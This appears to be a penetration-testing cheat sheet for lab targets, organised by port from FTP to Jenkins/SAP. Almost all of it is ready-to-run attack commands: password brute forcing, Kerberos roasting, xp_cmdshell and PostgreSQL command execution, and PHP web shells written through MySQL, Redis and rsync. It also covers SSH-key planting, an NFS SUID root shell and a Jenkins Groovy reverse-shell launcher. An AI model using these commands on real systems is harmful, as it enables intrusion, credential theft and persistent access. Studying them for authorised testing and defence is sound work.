Common Ports & Services

Port 21 — FTP

File Transfer Protocol. Check for anonymous access and version vulns.

# Anonymous login
ftp target
# Username: anonymous, Password: (blank or anything)

# List files
ftp> ls -la
ftp> binary        # Switch to binary mode for file transfer
ftp> get file.txt

# Nmap scripts
nmap --script=ftp-anon,ftp-bounce,ftp-vuln-cve2010-4221 -p 21 target

# Brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://target

# Download all files recursively
wget -r ftp://anonymous:@target/

Port 22 — SSH

Secure Shell. Check version for CVEs, brute force, check for key reuse.

# Banner grab
nc -nv target 22
ssh root@target

# Brute force
hydra -l root -P rockyou.txt ssh://target
hydra -L users.txt -P passwords.txt ssh://target

# SSH with private key
chmod 600 id_rsa
ssh -i id_rsa user@target

# Username enumeration (OpenSSH < 7.7 — CVE-2018-15473)
python3 ssh-username-enum.py --userlist users.txt target

# SSH tunneling (port forward internal service)
ssh -L 8080:127.0.0.1:8080 user@target

Port 23 — Telnet

Unencrypted remote access. Often has default/no credentials.

# Connect
telnet target 23

# Nmap
nmap --script=telnet-ntlm-info -p 23 target

# Common default creds
admin:(blank), admin:admin, root:root, cisco:cisco

Port 25 — SMTP

Mail server. Enumerate users, check for open relay.

# Connect and enumerate
nc -nv target 25
EHLO test
VRFY admin
VRFY root
EXPN admin
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>

# Nmap scripts
nmap --script=smtp-enum-users,smtp-open-relay,smtp-commands -p 25 target

# smtp-user-enum
smtp-user-enum -M VRFY -U users.txt -t target
smtp-user-enum -M RCPT -U users.txt -t target

# Send email (for phishing/testing)
swaks --to [email protected] --from [email protected] --server target --body "test"

Port 53 — DNS

Domain Name System. Zone transfers, subdomain enum, cache snooping.

# Zone transfer (AXFR)
dig axfr @target target.htb
host -l target.htb target

# Reverse lookup
dig -x 10.10.10.5 @target

# Any records
dig any target.htb @target

# Subdomain brute force
gobuster dns -d target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r target:53
dnsrecon -d target.htb -D subdomains.txt -t brt

# Nmap scripts
nmap --script=dns-zone-transfer,dns-brute,dns-cache-snoop -p 53 target

Port 80 / 443 — HTTP / HTTPS

Web servers. The most common attack surface.

# Recon
curl -I http://target
whatweb http://target
nikto -h http://target

# Directory brute force
gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt

# Virtual host enumeration
gobuster vhost -u http://target.htb -w subdomains.txt --append-domain

# Check source, robots.txt, sitemap.xml
# Check for: .git, .svn, .env, backup files
# See: /cheatsheets/web-hacking-checklist.html

# SSL/TLS
sslscan target
nmap --script=ssl-enum-ciphers,ssl-cert,ssl-heartbleed -p 443 target
testssl.sh target

Port 88 — Kerberos

Active Directory authentication. AS-REP Roasting, Kerberoasting.

# Enumerate users (no creds)
kerbrute userenum -d domain.htb --dc target users.txt

# AS-REP Roasting
impacket-GetNPUsers domain.htb/ -usersfile users.txt -no-pass -dc-ip target

# Kerberoasting (needs valid creds)
impacket-GetUserSPNs domain.htb/user:pass -dc-ip target -request

# See: /cheatsheets/active-directory-cheatsheet.html

Port 110 / 143 — POP3 / IMAP

Email retrieval protocols. Read mailboxes if you have creds.

# POP3
telnet target 110
USER admin
PASS password
LIST
RETR 1

# IMAP
telnet target 143
a1 LOGIN admin password
a2 LIST "" "*"
a3 SELECT INBOX
a4 FETCH 1 BODY[]

# Brute force
hydra -l admin -P rockyou.txt target pop3
hydra -l admin -P rockyou.txt target imap

Port 111 — RPCbind

RPC port mapper. Check for NFS, NIS, and other RPC services.

# List RPC services
rpcinfo -p target
nmap --script=rpc-grind,nfs-ls,nfs-showmount -p 111 target

# NFS shares (often paired with 2049)
showmount -e target
mount -t nfs target:/share /mnt/nfs

Port 135 / 139 / 445 — SMB / RPC

Windows file sharing and RPC. Gold mine for enumeration.

# Enumerate shares
smbclient -L //target -N
smbclient -L //target -U 'user%password'
smbmap -H target
smbmap -H target -u 'user' -p 'pass'

# Connect to share
smbclient //target/share -N
smbclient //target/share -U 'user%password'

# Enum4linux (all-in-one SMB enum)
enum4linux -a target
enum4linux-ng -A target

# CrackMapExec
crackmapexec smb target -u '' -p '' --shares
crackmapexec smb target -u user -p pass --shares

# RPC enumeration
rpcclient -U '' -N target
rpcclient> enumdomusers
rpcclient> enumdomgroups
rpcclient> queryuser 0x1f4

# Nmap scripts
nmap --script=smb-enum-shares,smb-enum-users,smb-os-discovery -p 445 target
nmap --script=smb-vuln* -p 445 target

# Download all files from share
smbget -R smb://target/share
# Or: mount -t cifs //target/share /mnt/smb

Port 161 — SNMP (UDP)

Simple Network Management Protocol. Leaks system info with default community strings.

# Enumerate with default community string
snmpwalk -v2c -c public target
snmpwalk -v2c -c public target 1.3.6.1.2.1.1      # System info
snmpwalk -v2c -c public target 1.3.6.1.4.1.77.1.2  # User accounts
snmpwalk -v2c -c public target 1.3.6.1.2.1.25.4.2  # Running processes
snmpwalk -v2c -c public target 1.3.6.1.2.1.6.13    # TCP connections
snmpwalk -v2c -c public target 1.3.6.1.2.1.25.6.3  # Installed software

# Brute force community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target
hydra -P community-strings.txt target snmp

# SNMPv3 enumeration
snmpwalk -v3 -u user -l authPriv -a SHA -A authpass -x AES -X privpass target

# Nmap
nmap -sU --script=snmp-info,snmp-brute -p 161 target

Port 389 / 636 — LDAP / LDAPS

Directory service. Dump users, groups, and domain info.

# Anonymous LDAP query
ldapsearch -x -H ldap://target -b "dc=domain,dc=htb"
ldapsearch -x -H ldap://target -b "dc=domain,dc=htb" "(objectClass=user)"
ldapsearch -x -H ldap://target -b "dc=domain,dc=htb" "(objectClass=person)" sAMAccountName

# Authenticated
ldapsearch -x -H ldap://target -D "[email protected]" -w 'password' -b "dc=domain,dc=htb"

# Nmap
nmap --script=ldap-search,ldap-rootdse -p 389 target

# ldapdomaindump (pretty output)
ldapdomaindump -u 'domain\user' -p 'password' target

Port 1433 — MSSQL

Microsoft SQL Server. Check for weak creds and xp_cmdshell.

# Connect
impacket-mssqlclient user:password@target
impacket-mssqlclient user:password@target -windows-auth
sqsh -S target -U sa -P password

# Enable xp_cmdshell (RCE)
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';

# Nmap
nmap --script=ms-sql-info,ms-sql-config,ms-sql-empty-password -p 1433 target

# Brute force
hydra -l sa -P rockyou.txt target mssql

Port 1521 — Oracle

Oracle database. SID enumeration then connect.

# SID enumeration
odat sidguesser -s target
nmap --script=oracle-sid-brute -p 1521 target

# TNS listener info
nmap --script=oracle-tns-version -p 1521 target

# Connect
sqlplus user/password@target:1521/SID

# ODAT (Oracle Database Attack Tool)
odat all -s target -p 1521

Port 3306 — MySQL

MySQL database. Check for empty root password.

# Connect
mysql -h target -u root -p
mysql -h target -u root        # Try empty password

# Remote commands
mysql -h target -u root -e "SELECT @@version; SHOW DATABASES;"

# Read files (if FILE priv)
SELECT LOAD_FILE('/etc/passwd');

# Write files
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

# Nmap
nmap --script=mysql-enum,mysql-empty-password,mysql-info -p 3306 target

# Brute force
hydra -l root -P rockyou.txt target mysql

Port 3389 — RDP

Remote Desktop Protocol. Brute force or use found creds.

# Connect
xfreerdp /u:user /p:password /v:target /cert:ignore
rdesktop target -u user -p password

# Brute force
hydra -l admin -P rockyou.txt rdp://target
crowbar -b rdp -s target/32 -u admin -C rockyou.txt

# Nmap
nmap --script=rdp-enum-encryption,rdp-vuln-ms12-020 -p 3389 target

# BlueKeep check (CVE-2019-0708)
nmap --script=rdp-vuln-ms12-020 -p 3389 target

Port 5432 — PostgreSQL

PostgreSQL database. Check default creds, try command execution.

# Connect
psql -h target -U postgres
psql -h target -U postgres -d database_name

# Command execution (if superuser)
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

# Read files
SELECT pg_read_file('/etc/passwd');

# Brute force
hydra -l postgres -P rockyou.txt target postgresql

Port 5985 — WinRM

Windows Remote Management. PowerShell remoting.

# evil-winrm (interactive PS shell)
evil-winrm -i target -u user -p password
evil-winrm -i target -u user -H NTLM_HASH

# CrackMapExec
crackmapexec winrm target -u user -p password
crackmapexec winrm target -u user -p password -x 'whoami'

# PowerShell
Enter-PSSession -ComputerName target -Credential user

Port 6379 — Redis

In-memory database. Often unauthenticated. Write web shells or SSH keys.

# Connect
redis-cli -h target
redis-cli -h target -a password

# Enumerate
INFO
CONFIG GET *
KEYS *
GET key_name

# Write SSH key
ssh-keygen -t rsa -f redis_key
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > payload.txt
cat payload.txt | redis-cli -h target -x set ssh_key
redis-cli -h target CONFIG SET dir /root/.ssh
redis-cli -h target CONFIG SET dbfilename authorized_keys
redis-cli -h target SAVE

# Write web shell
redis-cli -h target CONFIG SET dir /var/www/html
redis-cli -h target CONFIG SET dbfilename shell.php
redis-cli -h target SET payload '<?php system($_GET["cmd"]); ?>'
redis-cli -h target SAVE

Port 8080 — HTTP Alternate

Alternative HTTP port. Often Tomcat, Jenkins, or proxy servers.

# Same as port 80 enumeration, plus:

# Tomcat default creds
# admin:admin, tomcat:tomcat, admin:s3cret, tomcat:s3cret
# Manager: /manager/html
# Deploy WAR shell via manager

# Jenkins
# /script → Groovy script console (RCE if accessible)
println "whoami".execute().text

# Check /manager/status, /jmxrmi, /invoker

Port 27017 — MongoDB

NoSQL database. Often no authentication by default.

# Connect
mongosh target:27017
mongosh "mongodb://target:27017"

# Enumerate
show dbs
use database_name
show collections
db.collection_name.find()
db.collection_name.find().pretty()

# Dump all
mongodump --host target --port 27017 --out ./dump

# Nmap
nmap --script=mongodb-databases,mongodb-info -p 27017 target

Port 500 — IKE / IPSec

Internet Key Exchange. Used for VPN connections. Can leak configuration info.

# Enumerate IKE
ike-scan -M target
ike-scan --aggressive -M target

# Check for aggressive mode (leaks PSK hash)
ike-scan -A -n group_name target
# Aggressive mode hash can be cracked offline!

# Nmap
nmap -sU --script=ike-version -p 500 target

# Known vulnerabilities:
# - Aggressive mode PSK hash disclosure → crack with psk-crack
# - Weak Diffie-Hellman groups
# - IKEv1 phase 1 identity enumeration

Port 623 — IPMI (Intelligent Platform Management Interface)

Remote server management. Often has extractable password hashes.

# Version detection
nmap -sU --script=ipmi-version -p 623 target

# IPMI hash dumping (CVE-2013-4786 — RAKP Authentication)
# Any user can request a salted hash without credentials!
ipmitool -I lanplus -H target -U admin -P password user list
msf> use auxiliary/scanner/ipmi/ipmi_dumphashes
msf> set RHOSTS target
msf> run

# Crack the hashes
hashcat -m 7300 hash.txt /usr/share/wordlists/rockyou.txt

# Default credentials:
# DELL: root/calvin
# HP: Administrator/(blank)
# Supermicro: ADMIN/ADMIN

# Known vulnerabilities:
# - RAKP hash extraction (no auth needed!)
# - Default credentials everywhere
# - Cipher type 0 (auth bypass on some implementations)

Port 873 — rsync

File synchronization. May expose files without authentication.

# List available modules (shares)
rsync rsync://target/
rsync --list-only rsync://target/

# Download all files from a module
rsync -av rsync://target/module_name ./loot/

# Upload files (if writable)
rsync -av shell.php rsync://target/module_name/shell.php

# Authenticated access
rsync -av rsync://user@target/module ./loot/

# Nmap
nmap --script=rsync-list-modules -p 873 target

# Known vulnerabilities:
# - Anonymous access to sensitive modules
# - Writable modules → upload webshell/SSH key
# - Path traversal in older versions

Port 1080 — SOCKS Proxy

SOCKS proxy server. Can be used to pivot or may reveal internal network.

# Test SOCKS proxy
curl --socks5 target:1080 http://ifconfig.me

# Proxy through it with proxychains
# Edit /etc/proxychains.conf:
# socks5 target 1080
proxychains nmap -sT -p 80 internal_target

# Brute force authentication
nmap --script=socks-auth-info -p 1080 target
hydra -l admin -P rockyou.txt target socks5

# Known vulnerabilities:
# - Open/unauthenticated proxy → pivot to internal network
# - Can scan and access internal services through the proxy

Port 2049 — NFS (Network File System)

Network file sharing. Check for exported shares and no_root_squash.

# Show exports
showmount -e target

# Mount a share
mkdir /tmp/nfs
mount -t nfs target:/share /tmp/nfs
mount -t nfs -o vers=2 target:/share /tmp/nfs  # Try older versions

# Enumerate files
ls -la /tmp/nfs/
find /tmp/nfs/ -type f 2>/dev/null

# no_root_squash exploitation (SUID trick):
# If no_root_squash, your local root = remote root
cp /bin/bash /tmp/nfs/rootbash
chmod u+s /tmp/nfs/rootbash
# On target: /share/rootbash -p → root shell!

# Nmap
nmap --script=nfs-ls,nfs-showmount,nfs-statfs -p 2049 target

# Known vulnerabilities:
# - no_root_squash → instant privilege escalation
# - Sensitive files in exports (SSH keys, configs)
# - uid/gid spoofing to access restricted files

Port 3268 / 3269 — Global Catalog (LDAP)

Active Directory Global Catalog. Contains partial replica of all domain objects.

# Query Global Catalog (same as LDAP but broader scope)
ldapsearch -x -H ldap://target:3268 -b "dc=domain,dc=htb"
ldapsearch -x -H ldap://target:3268 -b "" -s base namingContexts

# Enumerate users across forest
ldapsearch -x -H ldap://target:3268 -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccountName

# Authenticated query
ldapsearch -x -H ldap://target:3268 -D "[email protected]" -w 'password' -b "dc=domain,dc=htb"

# Known vulnerabilities:
# - Anonymous bind → enumerate entire AD forest
# - Cross-domain trust information disclosure
# - Description fields with passwords

Port 4369 — Erlang Port Mapper (epmd)

Erlang distribution. If you get the cookie, you get RCE.

# List registered Erlang nodes
nmap --script=epmd-info -p 4369 target

# Connect if you have the Erlang cookie
# Cookie often in ~/.erlang.cookie or environment
erl -name attacker@LHOST -setcookie COOKIE -remsh node@target

# Execute OS commands via Erlang
os:cmd("id").

# RabbitMQ (common Erlang service)
# Default creds: guest:guest (localhost only by default)
# Management UI: http://target:15672

# Known vulnerabilities:
# - Default/weak Erlang cookie → RCE on all Erlang nodes
# - RabbitMQ default credentials
# - Unauthenticated node registration

Port 5900 — VNC

Virtual Network Computing. Remote desktop access.

# Connect
vncviewer target:5900
remmina  # GUI client

# Authentication bypass check
nmap --script=vnc-info,vnc-brute -p 5900 target

# Brute force
hydra -P /usr/share/wordlists/rockyou.txt target vnc
crowbar -b vnckey -s target/32 -p 5900 -k /usr/share/wordlists/rockyou.txt

# VNC password files (if found on target):
# Decrypt with: vncpwd encrypted_password_file
# Or: https://github.com/trinitronx/vncpasswd.py

# Known vulnerabilities:
# - No authentication required
# - Weak password protection
# - VNC password stored in files (decryptable)
# - CVE-2006-2369 (bypass auth on RealVNC)

Port 5601 — Kibana

Kibana dashboard for Elasticsearch. May expose sensitive data or have RCE vulns.

# Access web interface
curl http://target:5601
curl http://target:5601/app/kibana
curl http://target:5601/api/status

# Check for unauthenticated access
# Default: no authentication!

# Check version
curl -s http://target:5601/api/status | jq '.version.number'

# Known vulnerabilities:
# - CVE-2019-7609 (Kibana < 6.6.1) — Prototype pollution → RCE via Timelion
# - CVE-2021-22145 — Information disclosure
# - Unauthenticated access to dashboards with sensitive data
# - Elasticsearch data accessible through Kibana console

Port 8000 — Various Web Services

Common alternate HTTP port. Could be many things.

# Identify the service
curl -sI http://target:8000
whatweb http://target:8000

# Common services on 8000:
# - Python SimpleHTTPServer / http.server
# - Django development server
# - Splunk (also 8089)
# - PHP built-in server
# - Ruby WEBrick

# Django debug mode
curl http://target:8000/nonexistent
# If debug=True → stack trace, settings, installed apps

# Splunk
curl http://target:8000/en-US/account/login
# Default: admin:changeme

# Enumerate like any web service
gobuster dir -u http://target:8000 -w /usr/share/seclists/Discovery/Web-Content/common.txt

Port 8443 — HTTPS Alternate

Alternative HTTPS port. Often management interfaces.

# Identify
curl -k https://target:8443
whatweb https://target:8443

# Check SSL certificate for hostnames
openssl s_client -connect target:8443 </dev/null 2>/dev/null | openssl x509 -noout -subject -ext subjectAltName

# Common services on 8443:
# - Tomcat HTTPS
# - VMware vCenter
# - Plesk / cPanel
# - Custom web apps

# Enumerate
gobuster dir -u https://target:8443 -w /usr/share/seclists/Discovery/Web-Content/common.txt -k

Port 9200 — Elasticsearch

Search engine / document store. Often unauthenticated with sensitive data.

# Check if accessible
curl http://target:9200
curl http://target:9200/_cluster/health?pretty
curl http://target:9200/_cat/indices?v

# List all indices (databases)
curl http://target:9200/_cat/indices?v

# Search all data
curl http://target:9200/_search?pretty
curl "http://target:9200/_search?q=password&pretty"

# Dump a specific index
curl http://target:9200/index_name/_search?size=1000&pretty

# List fields in an index
curl http://target:9200/index_name/_mapping?pretty

# Nmap
nmap --script=http-elasticsearch-head -p 9200 target

# Known vulnerabilities:
# - Default: NO authentication
# - CVE-2015-1427 (Groovy sandbox escape → RCE in ES < 1.4.3)
# - CVE-2014-3120 (MVEL script execution → RCE in ES < 1.2)
# - Sensitive data in indices (credentials, PII, logs)

Port 9090 — Various Management Interfaces

Management web interfaces. Could be several services.

# Identify
curl -sI http://target:9090
curl -k https://target:9090

# Common services on 9090:
# - Cockpit (Linux web management)
# - Prometheus
# - Openfire admin
# - WebLogic admin

# Cockpit (Linux)
# Default: uses system credentials
# https://target:9090

# Prometheus
curl http://target:9090/api/v1/targets
curl http://target:9090/api/v1/label/__name__/values
# May expose internal metrics, service discovery info

# Openfire (XMPP server)
# Default: admin / admin
# CVE-2023-32315 — path traversal → admin account creation

Port 11211 — Memcached

In-memory caching. Usually unauthenticated. Dump cached data.

# Connect (telnet or nc)
echo "stats" | nc target 11211
echo "stats items" | nc target 11211

# Dump all keys
echo "stats cachedump 1 100" | nc target 11211

# Get a specific key
echo "get key_name" | nc target 11211

# Dump all slabs and keys
for slab in $(echo "stats items" | nc target 11211 | grep "items:" | cut -d: -f2 | sort -u); do
  echo "stats cachedump $slab 100" | nc target 11211
done

# Nmap
nmap --script=memcached-info -p 11211 target

# Known vulnerabilities:
# - No authentication by default
# - DDoS amplification (UDP reflection)
# - Sensitive data in cache (sessions, credentials, tokens)
# - CVE-2018-1000115 — remote code execution in older versions

Port 50000 — Jenkins / SAP

Often Jenkins or SAP. Check for unauthenticated access.

# Identify
curl -sI http://target:50000
curl http://target:50000

# Jenkins
curl http://target:50000/script           # Groovy script console (RCE!)
curl http://target:50000/manage
curl http://target:50000/asynchPeople/    # User enumeration

# Jenkins Groovy console RCE
println "whoami".execute().text
println "cat /etc/passwd".execute().text
"bash -c {echo,BASE64_REVSHELL}|{base64,-d}|bash".execute()

# Jenkins credential extraction
# Credentials stored in: /var/lib/jenkins/credentials.xml
# Decrypt with: https://github.com/hoto/jenkins-credentials-decryptor

# SAP
# Check for SAP Management Console
# Default credentials vary by SAP product
# See: https://github.com/chipik/SAP_GW_RCE_exploit

# Known vulnerabilities:
# - Jenkins: unauthenticated script console → RCE
# - Jenkins: CVE-2024-23897 (file read via CLI)
# - Jenkins: CVE-2019-1003000 (Groovy sandbox bypass)
# - SAP: numerous critical CVEs